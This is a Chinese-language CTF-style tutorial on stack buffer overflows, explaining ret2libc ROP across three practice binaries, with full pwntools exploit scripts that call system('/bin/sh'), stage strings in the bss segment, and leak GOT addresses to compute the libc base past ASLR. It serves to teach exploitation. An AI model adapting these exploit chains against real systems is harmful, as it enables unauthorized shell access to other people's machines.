缓冲区溢出漏洞-基本ROP-ret2lib
本文视频:
如果文字过于枯燥,可观看在线视频:https://edu.51cto.com/sd/16514
基础知识:
第一题:ret2libc1
我们先用IDA分析下
有一个gets函数会有溢出漏洞,我们在查看下程序的有哪些保护
可以看到开启了NX,说明我们在栈中的数据没有执行权限,我们需要使用ROP方式进行绕过
我们使用gdb的pattern进行测试溢出偏移量是112
命令分别是:pattern create 200
执行r命令
输入生成的字符串
根据提示执行pattern offset xxxxxx
接下里我们要做的是执行系统函数system("/bin/sh"),来获取系统的权限
所以我们可以想象我们的payload是:'a' * 112 + system_plt + 0x0000000 + bin_sh_addr
我们需要system的plt地址以及字符串/bin/sh的地址
system的plt地址可以用IDA来查看,在页面中使用ALT + T来搜索system
/bin/sh的获取方式:
所以得到我们的exp为:
from pwn import *
p = process('./ret2libc1')
system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720
payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])
p.sendline(payload)
p.interactive()
第二题
这道题和第一个题没有太大区别,唯一的区别在于找不到字符串/bin/sh的地址了。所以我们需要重新构造。
除了在程序中查找/bin/sh的地址,我们也可以直接让用户输入。所以我们可以构造以下payload
payload = 'a' + get_plt + pop_ebx + bin_sh + system_plt + 0x00000000 + bin_sh
payload里的pop_ebx还是pop eax都无所谓,但我们使用ROPgadget在搜索的时候只能搜到pop ebx;ret
接下来我们动态调试下payload发送到ret2libc2后代码执行过程和栈变化。我们看下exp代码
from pwn import *
p = process('./ret2libc2')
system_plt = 0x08048490
gets_plt = 0x08048460
buf = 0x0804a0e4 - 16
pop_ebx_addr = 0x0804843d
payload = flat(['a' * 112,gets_plt,pop_ebx_addr,buf,system_plt,0x00000000,buf])
pause()
p.sendline(payload)
p.interactive()
也可以是一下exp:
from pwn import *
p = process("./ret2libc2")
elf = ELF("./ret2libc2")
rop = ROP(elf)
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
#自动查找rop,而不需要我们使用ROPgadget去搜索
pop_ret = rop.search(8).address
#pop_ret = 0x0804843d
#elf.bss()代表的是bss段段开始位置(这个位置会比实际的bss起始位置大一些)
buf = elf.bss(0xf)
#buf = 0x0804b000 - 16
payload = flat(['a'*112,gets_plt,pop_ret,buf,system_plt,0x00000000,buf])
p.sendline(payload)
p.sendline('/bin/sh\n')
p.interactive()
buf变量的值是bss段的内容,我们使用vmmap就可以看到有w权限的bss,在最末尾-16来保存我们gets输入的内容。
也可以使用display &buf2来找一个变量的地址
运行exp.py,得到pid后使用gdb attach进行调试
一直finish到main函数中
我们发现在执行完main方法的ret之后程序进入了gets函数,说明我们的payload被成功执行了.
第三题:
使用IDA查看代码
发现有gets函数,存在漏洞,使用GDB加载程序:gdb ./ret2libc3
进入到gdb命令行后,使用checksec查看保护
发现有NX保护,我们使用ROP进行绕过。
我们可以构造payload = 'a' * offset + system_plt+0x00000000 + bin_sh_addr
关键在于如何获取system和/bin/sh的地址,所以我们使用objdump查看system plt地址
发现plt中没有system,使用ROPgadget查找/bin/sh的地址
发现没有/bin/sh,所以我们只能靠自己计算这两个的值了。
那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
https://github.com/niklasb/libc-database
所以我们第一个要做的事情就是判断这个ret2libc3程序依赖的哪个libc,思路如下:
1、泄露一个ret2libc3函数的位置
2、获取libc的版本
3、根据偏移获取shell和sh的位置
4、执行程序获取shell
这里我们用一个lic的工具https://github.com/lieanu/LibcSearcher
他能帮我们快速的找到system和/bin/sh的地址,但是他需要一个关键的东西:一个程序函数的地址
我们知道在Linux的程序中使用了延迟绑定机制,也就是说一个函数在没有执行前,你是不知道它的真实地址是什么的。而这个程序中我们能看到的有printf函数、gets函数。我们通过这两个函数来确定libc的版本。代码如下:
from pwn import *
import time
p = process("./ret2libc3")
elf = ELF("./ret2libc3")
offset = 112
#要泄漏的函数的地址
target_func = 'gets'
#调用puts函数进行打印
puts_func = 'puts'
puts_plt = elf.plt[puts_func]
target_got = elf.got[target_func]
main_addr = elf.symbols['main']
#调用puts函数,打印泄漏函数的got地址,最后返回main函数,在32位程序中调用函数地址的第一个参数就是返回地址,后面的才是参数
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(target_got)
#payload = flat([offset * 'a',puts_plt,main_addr,puts_got])
p.sendlineafter("Can you find it !?",payload)
print hex(u32(p.recv()[0:4]))
我们看一下结果:确实后12位是不变的,3e0。(一个字符4个字节,3 *4 = 12)
我们查一下版本:https://libc.blukat.me
版本有点多,我们换个函数,使用puts函数,直接将变量target_func改为puts,查看运行结果:
发现后12位是ca0
经过比对,这两个版本的地址是一样的,所以用那个都可以。
最后exp
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
rop = ROP(ret2libc3)
func = 'puts'
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got[func]
main = ret2libc3.symbols['main']# 获取main函数地址
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
#获取puts函数运行时的地址
libc_start_main_addr = u32(sh.recv()[0:4])
print libc_start_main_addr
# 实例化LibcSearcher对象
libc = LibcSearcher(func, libc_start_main_addr)
# 计算libc的初始地址(puts的动态地址-puts的偏移地址)
libcbase = libc_start_main_addr - libc.dump(func)
# 计算system地址
system_addr = libcbase + libc.dump('system')
# 计算/bin/sh地址
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()